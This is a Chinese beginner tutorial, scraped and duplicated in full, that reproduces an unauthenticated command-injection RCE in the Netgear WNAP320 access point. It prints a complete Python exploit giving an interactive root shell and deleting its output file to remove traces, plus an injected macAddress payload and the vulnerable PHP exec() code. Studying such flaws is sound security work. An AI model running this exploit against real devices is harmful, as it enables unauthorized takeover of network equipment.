如何从零基础开始复现Netgear WNAP320的远程代码执行(RCE)漏洞?

2026-04-11 12:379阅读0评论SEO基础
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1515个文字,预计阅读时间需要7分钟。

如何从零基础开始复现Netgear WNAP320的远程代码执行(RCE)漏洞?

[零基础学IoT Pwn+复现Netgear WNAP320 RCE 0x00+前言:这是[零基础学IoT Pwn]的第二篇,上一篇我们搭建好了仿真环境后,模拟运行了Netgear WNAP320固件,所以这次就直进入实战,进行零基础的学习。]

[零基础学IoT Pwn] 复现Netgear WNAP320 RCE 0x00 前言:

这是[零基础学IoT Pwn]的第二篇,上篇我们搭好了仿真环境后,模拟运行了Netgear WNAP320固件,所以这次就直接进行实战,在实战中进行零基础的学习哈哈哈。

0x01 Bug搜索:

搜索bug的方式有很多,比如在线网站www.exploit-db.com/,或者直接百度搜对应的路由器型号,我这边用的是searchsploit进行搜索。

可以看到有要给匹配的bug macAddress远程代码执行,并且还有对应的POC。

0x02 POC分析:

poc如下:

如何从零基础开始复现Netgear WNAP320的远程代码执行(RCE)漏洞?

# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated) # Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter # Notes: The RCE doesn't need to be authenticated # Date: 26/06/2021 # Exploit Author: Bryan Leong <NobodyAtall> # IoT Device: Netgear WNAP320 Access Point # Version: WNAP320 Access Point Firmware v2.0.3 import requests import sys if(len(sys.argv) != 2): print('Must specify the IP parameter') print("eg: python3 wnap320_v2_0_3.py <IP>") sys.exit(0) host = sys.argv[1] port = 80 cmd = '' while(True): cmd = input('Shell_CMD$ ') #injecting system command part writing the command output to a output file data = { 'macAddress' : '112233445566;' + cmd + ' > ./output #', 'reginfo' : '0', 'writeData' : 'Submit' } url = '' + host + '/boardDataWW.php' response = requests.post(url, data=data) if(response.ok): #read the command output result url = '' + host + '/output' cmdOutput = requests.get(url) print(cmdOutput.text) #remove trace cmd = 'rm ./output' data = { 'macAddress' : '112233445566;' + cmd + ' #', 'reginfo' : '0', 'writeData' : 'Submit' } url = '' + host + '/boardDataWW.php' response = requests.post(url, data=data) else: print('[!] No response from the server.')

运行结果如下:(可以成功获取到shell并且是root权限的)

接下来详细的分析下这个POC。

代码分析

首先看到这一段,这里利用input接受用户输入的命令,然后这个data是一个json数据,正常的话应该是macAddress:MAC地址reginfo:0writeData:submit,但是由于他存在命令注入的漏洞,所以我们可以把命令注入到macAddress的值当中造成任意命令执行。

cmd = input('Shell_CMD$ ') #injecting system command part writing the command output to a output file data = { 'macAddress' : '112233445566;' + cmd + ' > ./output #', 'reginfo' : '0', 'writeData' : 'Submit' }

{ 'macAddress': '112233445566;whoami > ./output #', 'reginfo' : '0', 'writeData' : 'Submit' }//"利用分号拼接上命令并且重定向输出到 output文件中"

接下来分析这个片段,可以看到漏洞出现在192.168.0.100/boardDataWW.php这个页面,python里面用post将数据包发送过去,然后接着在去请求用命令行输出的output文件(命令行会显),最后再次调用漏洞删除output这个回显文本,完成一次远程代码执行。

url = '' + host + '/boardDataWW.php' response = requests.post(url, data=data) if(response.ok): #read the command output result url = '' + host + '/output' cmdOutput = requests.get(url) print(cmdOutput.text) #remove trace cmd = 'rm ./output' data = { 'macAddress' : '112233445566;' + cmd + ' #', 'reginfo' : '0', 'writeData' : 'Submit' } url = '' + host + '/boardDataWW.php' response = requests.post(url, data=data) else: print('[!] No response from the server.') 0x03 手动复现学习:

在没有登陆路由器的情况可以直接访问192.168.0.100/boardDataWW.php,所以导致这款路由器可以未授权RCE。

![image-20220630175015031] (img2022.cnblogs.com/blog/2080041/202206/2080041-20220630175015007-649133004.png)

这里随便填个数据,然后用burp抓个包看看。

这里Web前端有检测Mac地址的格式,格式应为:112233445566。

数据包格式如下:

手动测试下命令执行的bug。

0x04 漏洞原理:

首先我们在固件包里面获取到boardDataWW.php文件,然后对其源码进行分析。

首先是在php文件里面的html代码,这里是一个表单,有一个文本框macAddress,内容有用户输入。当我们点击submit提交按钮的时候,会响应checkMAC函数。

<body align="center"> <form name="hiddenForm" action="boardDataWW.php" method="post" align="center"> <td width="70%"> <input type="text" id="macAddress" name="macAddress" label="MAC Address" value="<?php echo $_REQUEST['macAddress'] ?>" onasdf="checkMAC(this.value);">&nbsp; <small>* Format: xxxxxxxxxxxx (x = Hex String)</small> </td> <td width="30%" class="right"> <input type="submit" name="writeData" value="Submit" onclick="checkMAC(event, document.getElementById('macAddress').value);"> </td> <td width="70%"><input type="reset" name="reset" value="Reset Form"></td> </form> </body>

checkMAC函数的主要功能是判断用户输入的MAC地址格式是否正确,包括12个字符并且是数字和字母的字符。

<html> <head> <title>Netgear</title> <script type="text/javascript"> <!-- function checkMAC(eventobj,mac) { if (!(/^[0-9A-Fa-f]{12,12}$/.test(mac))) { ..... } </script> </head> </html>

然后提交表单后会执行这段php的代码,他先是进行了数据包里面的判断,判断writeDatad的数据是否为空,如果不为空则继续判断mac地址数据是否为空并且判断reginfo的数据是否为空,然后这里又判断了一次mac地址的格式是否正确,如果这些条件都正确后进入分支执行接下来的代码。

接着出现了造成漏洞的代码,在php里调用了exec函数

<?php $flag=false; $msg=''; if (!empty($_REQUEST['writeData'])) { //进行mac地址输入格式的判断,比如格式满足[0-9a-fA-F]字符串。 if (!empty($_REQUEST['macAddress']) && array_search($_REQUEST['reginfo'],Array('WW'=>'0','NA'=>'1'))!==false && ereg("[0-9a-fA-F]{12,12}",$_REQUEST['macAddress'],$regs)!==false) { //这里因为直接把macAddress与命令进行了拼接,所以导致了存在命令注入的漏洞! exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res); if ($res==0) { conf_set_buffer("system:basicSettings:apName netgear".substr($_REQUEST['macAddress'], -6)."\n"); conf_save(); $msg = 'Update Success!'; $flag = true; } } else $flag = true; } ?>

然后调用exec执行"wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],这里可以看到他拼接了用户输入的内容并且当成命令执行,这就会出现命令注入漏洞

wr_mfg_data是一个改变MAC地址的程序。

而当我们注入MAC地址的时候,我们再用;分号来添加一个额外执行的命令,那两条命令都会被执行。

0x05 PWN菜鸡小分队

欢迎来群里讨论PWN技巧、RE逆向。

本文共计1515个文字,预计阅读时间需要7分钟。

如何从零基础开始复现Netgear WNAP320的远程代码执行(RCE)漏洞?

[零基础学IoT Pwn+复现Netgear WNAP320 RCE 0x00+前言:这是[零基础学IoT Pwn]的第二篇,上一篇我们搭建好了仿真环境后,模拟运行了Netgear WNAP320固件,所以这次就直进入实战,进行零基础的学习。]

[零基础学IoT Pwn] 复现Netgear WNAP320 RCE 0x00 前言:

这是[零基础学IoT Pwn]的第二篇,上篇我们搭好了仿真环境后,模拟运行了Netgear WNAP320固件,所以这次就直接进行实战,在实战中进行零基础的学习哈哈哈。

0x01 Bug搜索:

搜索bug的方式有很多,比如在线网站www.exploit-db.com/,或者直接百度搜对应的路由器型号,我这边用的是searchsploit进行搜索。

可以看到有要给匹配的bug macAddress远程代码执行,并且还有对应的POC。

0x02 POC分析:

poc如下:

如何从零基础开始复现Netgear WNAP320的远程代码执行(RCE)漏洞?

# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated) # Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter # Notes: The RCE doesn't need to be authenticated # Date: 26/06/2021 # Exploit Author: Bryan Leong <NobodyAtall> # IoT Device: Netgear WNAP320 Access Point # Version: WNAP320 Access Point Firmware v2.0.3 import requests import sys if(len(sys.argv) != 2): print('Must specify the IP parameter') print("eg: python3 wnap320_v2_0_3.py <IP>") sys.exit(0) host = sys.argv[1] port = 80 cmd = '' while(True): cmd = input('Shell_CMD$ ') #injecting system command part writing the command output to a output file data = { 'macAddress' : '112233445566;' + cmd + ' > ./output #', 'reginfo' : '0', 'writeData' : 'Submit' } url = '' + host + '/boardDataWW.php' response = requests.post(url, data=data) if(response.ok): #read the command output result url = '' + host + '/output' cmdOutput = requests.get(url) print(cmdOutput.text) #remove trace cmd = 'rm ./output' data = { 'macAddress' : '112233445566;' + cmd + ' #', 'reginfo' : '0', 'writeData' : 'Submit' } url = '' + host + '/boardDataWW.php' response = requests.post(url, data=data) else: print('[!] No response from the server.')

运行结果如下:(可以成功获取到shell并且是root权限的)

接下来详细的分析下这个POC。

代码分析

首先看到这一段,这里利用input接受用户输入的命令,然后这个data是一个json数据,正常的话应该是macAddress:MAC地址reginfo:0writeData:submit,但是由于他存在命令注入的漏洞,所以我们可以把命令注入到macAddress的值当中造成任意命令执行。

cmd = input('Shell_CMD$ ') #injecting system command part writing the command output to a output file data = { 'macAddress' : '112233445566;' + cmd + ' > ./output #', 'reginfo' : '0', 'writeData' : 'Submit' }

{ 'macAddress': '112233445566;whoami > ./output #', 'reginfo' : '0', 'writeData' : 'Submit' }//"利用分号拼接上命令并且重定向输出到 output文件中"

接下来分析这个片段,可以看到漏洞出现在192.168.0.100/boardDataWW.php这个页面,python里面用post将数据包发送过去,然后接着在去请求用命令行输出的output文件(命令行会显),最后再次调用漏洞删除output这个回显文本,完成一次远程代码执行。

url = '' + host + '/boardDataWW.php' response = requests.post(url, data=data) if(response.ok): #read the command output result url = '' + host + '/output' cmdOutput = requests.get(url) print(cmdOutput.text) #remove trace cmd = 'rm ./output' data = { 'macAddress' : '112233445566;' + cmd + ' #', 'reginfo' : '0', 'writeData' : 'Submit' } url = '' + host + '/boardDataWW.php' response = requests.post(url, data=data) else: print('[!] No response from the server.') 0x03 手动复现学习:

在没有登陆路由器的情况可以直接访问192.168.0.100/boardDataWW.php,所以导致这款路由器可以未授权RCE。

![image-20220630175015031] (img2022.cnblogs.com/blog/2080041/202206/2080041-20220630175015007-649133004.png)

这里随便填个数据,然后用burp抓个包看看。

这里Web前端有检测Mac地址的格式,格式应为:112233445566。

数据包格式如下:

手动测试下命令执行的bug。

0x04 漏洞原理:

首先我们在固件包里面获取到boardDataWW.php文件,然后对其源码进行分析。

首先是在php文件里面的html代码,这里是一个表单,有一个文本框macAddress,内容有用户输入。当我们点击submit提交按钮的时候,会响应checkMAC函数。

<body align="center"> <form name="hiddenForm" action="boardDataWW.php" method="post" align="center"> <td width="70%"> <input type="text" id="macAddress" name="macAddress" label="MAC Address" value="<?php echo $_REQUEST['macAddress'] ?>" onasdf="checkMAC(this.value);">&nbsp; <small>* Format: xxxxxxxxxxxx (x = Hex String)</small> </td> <td width="30%" class="right"> <input type="submit" name="writeData" value="Submit" onclick="checkMAC(event, document.getElementById('macAddress').value);"> </td> <td width="70%"><input type="reset" name="reset" value="Reset Form"></td> </form> </body>

checkMAC函数的主要功能是判断用户输入的MAC地址格式是否正确,包括12个字符并且是数字和字母的字符。

<html> <head> <title>Netgear</title> <script type="text/javascript"> <!-- function checkMAC(eventobj,mac) { if (!(/^[0-9A-Fa-f]{12,12}$/.test(mac))) { ..... } </script> </head> </html>

然后提交表单后会执行这段php的代码,他先是进行了数据包里面的判断,判断writeDatad的数据是否为空,如果不为空则继续判断mac地址数据是否为空并且判断reginfo的数据是否为空,然后这里又判断了一次mac地址的格式是否正确,如果这些条件都正确后进入分支执行接下来的代码。

接着出现了造成漏洞的代码,在php里调用了exec函数

<?php $flag=false; $msg=''; if (!empty($_REQUEST['writeData'])) { //进行mac地址输入格式的判断,比如格式满足[0-9a-fA-F]字符串。 if (!empty($_REQUEST['macAddress']) && array_search($_REQUEST['reginfo'],Array('WW'=>'0','NA'=>'1'))!==false && ereg("[0-9a-fA-F]{12,12}",$_REQUEST['macAddress'],$regs)!==false) { //这里因为直接把macAddress与命令进行了拼接,所以导致了存在命令注入的漏洞! exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res); if ($res==0) { conf_set_buffer("system:basicSettings:apName netgear".substr($_REQUEST['macAddress'], -6)."\n"); conf_save(); $msg = 'Update Success!'; $flag = true; } } else $flag = true; } ?>

然后调用exec执行"wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],这里可以看到他拼接了用户输入的内容并且当成命令执行,这就会出现命令注入漏洞

wr_mfg_data是一个改变MAC地址的程序。

而当我们注入MAC地址的时候,我们再用;分号来添加一个额外执行的命令,那两条命令都会被执行。

0x05 PWN菜鸡小分队

欢迎来群里讨论PWN技巧、RE逆向。